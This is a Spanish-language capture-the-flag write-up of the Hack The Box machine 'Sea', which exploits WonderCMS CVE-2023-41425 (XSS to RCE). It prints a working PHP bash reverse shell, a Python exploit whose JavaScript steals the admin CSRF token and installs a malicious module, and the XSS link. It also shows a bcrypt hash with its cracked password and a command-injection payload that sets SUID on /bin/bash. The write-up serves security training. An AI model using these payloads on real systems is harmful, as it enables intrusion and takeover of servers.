Sea
Plataforma: Hack The Box
Dificultad: Easy
🔗 Link de la máquina: https://app.hackthebox.com/machines/Sea

Reconocimiento
En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN sea.txt 10.129.6.206
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-14 21:18 -0300
Nmap scan report for 10.129.6.206
Host is up (0.52s latency).
Not shown: 64710 closed tcp ports (reset), 823 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.66 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN sea.txt: Guarda los resultados en el archivo “sea.txt”.
Puertos descubiertos:
- 22/tcp - SSH (OpenSSH 8.2p1 Ubuntu)
- 80/tcp - HTTP (Apache 2.4.41) → Sea - Home
Configuración del Host
El servidor redirige al dominio sea.htb, lo agregamos al /etc/hosts:
echo "10.129.6.206 sea.htb" | sudo tee -a /etc/hosts
Enumeración Web
Al acceder a http://sea.htb encontramos un sitio web sobre ciclismo con un formulario de registro de competencias.

Fuzzing de Directorios
gobuster dir -u http://sea.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt --no-error
Resultados relevantes:
contact.php (Status: 200) [Size: 2731]
themes (Status: 301) [--> http://sea.htb/themes/]
data (Status: 301) [--> http://sea.htb/data/]
plugins (Status: 301) [--> http://sea.htb/plugins/]
messages (Status: 301) [--> http://sea.htb/messages/]
Fingerprinting del CMS
En /contact.php encontramos el formulario de registro de la competencia con los campos: Name, Email, Age, Country y Website.

Accediendo al directorio /themes/ descubrimos el tema bike. Su README.md confirma que se trata de WonderCMS:
curl http://sea.htb/themes/bike/README.md

Con esto identificamos el CMS y su ruta de login por defecto:
http://sea.htb/loginURL

Explotación
CVE-2023-41425 - WonderCMS XSS to RCE
Encontramos que WonderCMS es vulnerable al CVE-2023-41425, una vulnerabilidad de XSS en el campo Website del formulario de contacto que puede encadenarse con la funcionalidad de instalación de módulos para lograr RCE.
Análisis del exploit
El exploit aprovecha que:
- El campo Website del formulario no sanitiza correctamente el input, permitiendo inyectar etiquetas
<script> - Un administrador que revise los mensajes ejecuta el XSS en su sesión autenticada
- El XSS roba el token CSRF del panel admin e instala un módulo malicioso a través de la API de WonderCMS
Preparación del módulo malicioso
Creamos el módulo con la reverse shell PHP y lo empaquetamos como ZIP. La máquina víctima no tiene acceso a internet, así que lo servimos desde nuestra máquina:
mkdir -p module
cat > module/rev.php << 'EOF'
<?php
if (isset($_GET['lhost']) && isset($_GET['lport'])) {
$lhost = "10.10.16.4";
$lport = "4444";
$cmd = "bash -c 'bash -i >& /dev/tcp/$lhost/$lport 0>&1'";
system($cmd);
}
?>
EOF
zip -r module.zip module/
Exploit y generación del payload
El exploit exploit.py genera el xss.js y levanta el servidor HTTP. El xss.js obtiene el token CSRF del panel admin, instala el módulo con installModule, accede a rev.php para confirmar que está disponible y finalmente dispara la reverse shell:
# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 10.10.16.4 4444")
else:
data = '''
// the server has some issue resolving domain name with JavaScript
// we can just provide the target URL as required parameter
var moduleURL = "http://sea.htb";
var token = document.querySelectorAll('[name="token"]')[0].value;
// modify the ZIP file path serving on HTTP server
var urlRev = moduleURL+"/?installModule=http://10.10.16.4:8000/module.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
// visit rev.php inside the uploaded ZIP file
xhr4.open("GET", moduleURL+"/themes/module/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
// trigger reverse shell script and provide listner ip & port
xhr5.open("GET", moduleURL+"/themes/module/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")
Ejecutamos el exploit:
python3 exploit.py http://sea.htb/loginURL 10.10.16.4 4444
En otra terminal levantamos el listener:
nc -nlvp 4444
Envío del Payload XSS
Accedemos a http://sea.htb/contact.php y en el campo Website pegamos el link generado por el exploit:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.4:8000/xss.js"></script><form+action="

Ejecución del XSS
Cuando el administrador revisa los mensajes en su panel autenticado, el XSS se ejecuta. Observamos en nuestro servidor HTTP que descarga primero xss.js y luego el module.zip varias veces:

El módulo se instala en /themes/module/ y automáticamente rev.php establece la conexión con nuestro listener.
Reverse Shell

connect to [10.10.16.4] from (UNKNOWN) [10.129.6.206] 56466
bash: cannot set terminal process group (1127): Inappropriate ioctl for a device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/module$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Tratamiento de la TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm-256color
export SHELL=/bin/bash
User Flag
Extracción de Credenciales
Accedemos al archivo de configuración de WonderCMS:
www-data@sea:/var/www/sea$ cat data/database.js
Contenido relevante:
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
"defaultPage": "home",
"login": "loginURL",
"forceLogout": false,
"forceHttps": false,
"saveChangesPopup": false,
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
"lastLogins": { ... }
}
}
Encontramos un hash bcrypt de la contraseña del administrador. Intentamos crackearlo:
hashcat -m 3200 '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' /usr/share/wordlists/rockyou.txt
Resultado:
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
Contraseña crackeada: mychemicalromance
Usuarios del Sistema
cat /etc/passwd | grep -v "nologin\|false"
root:x:0:0:root:/root:/bin/bash
geo:x:1000:1000::/home/geo:/bin/bash
amay:x:1001:1001::/home/amay:/bin/bash
Intentamos reutilizar la contraseña para los usuarios del sistema:
ssh amay@10.129.6.206
# Password: mychemicalromance

amay@sea:~$ cat user.txt

Escalada de Privilegios
Enumeración de Servicios Internos
ss -tlnp
Resultado:
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 *:80 *:*
Hay un servicio interno en el puerto 8080. Requiere autenticación y lo exploramos con las credenciales de amay:
curl -s -u amay:mychemicalromance http://127.0.0.1:8080/
Encontramos un System Monitor en desarrollo que permite analizar logs del sistema. Tiene un formulario con el parámetro log_file que no está sanitizado.
Inyección de Comandos en el Analizador de Logs
El parámetro log_file es vulnerable a inyección de comandos mediante el carácter ;. Usamos notación octal para evitar problemas de encoding con el bit SUID:
curl -s -u amay:mychemicalromance http://127.0.0.1:8080/ \
--data "log_file=/var/log/apache2/access.log%3Bchmod+4755+/bin/bash&analyze_log=" > /dev/null
Verificamos y ejecutamos:
ls -la /bin/bash
# -rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
/bin/bash -p

bash-5.0# id
uid=1001(amay) gid=1001(amay) euid=0(root) groups=1001(amay)
Root Flag
bash-5.0# cd /root/
bash-5.0# ls
monitoring root.txt scripts
bash-5.0# cat root.txt
531bfbdd240d5de1f0f76ab8608d5475

Máquina Sea de Hack The Box completada exitosamente.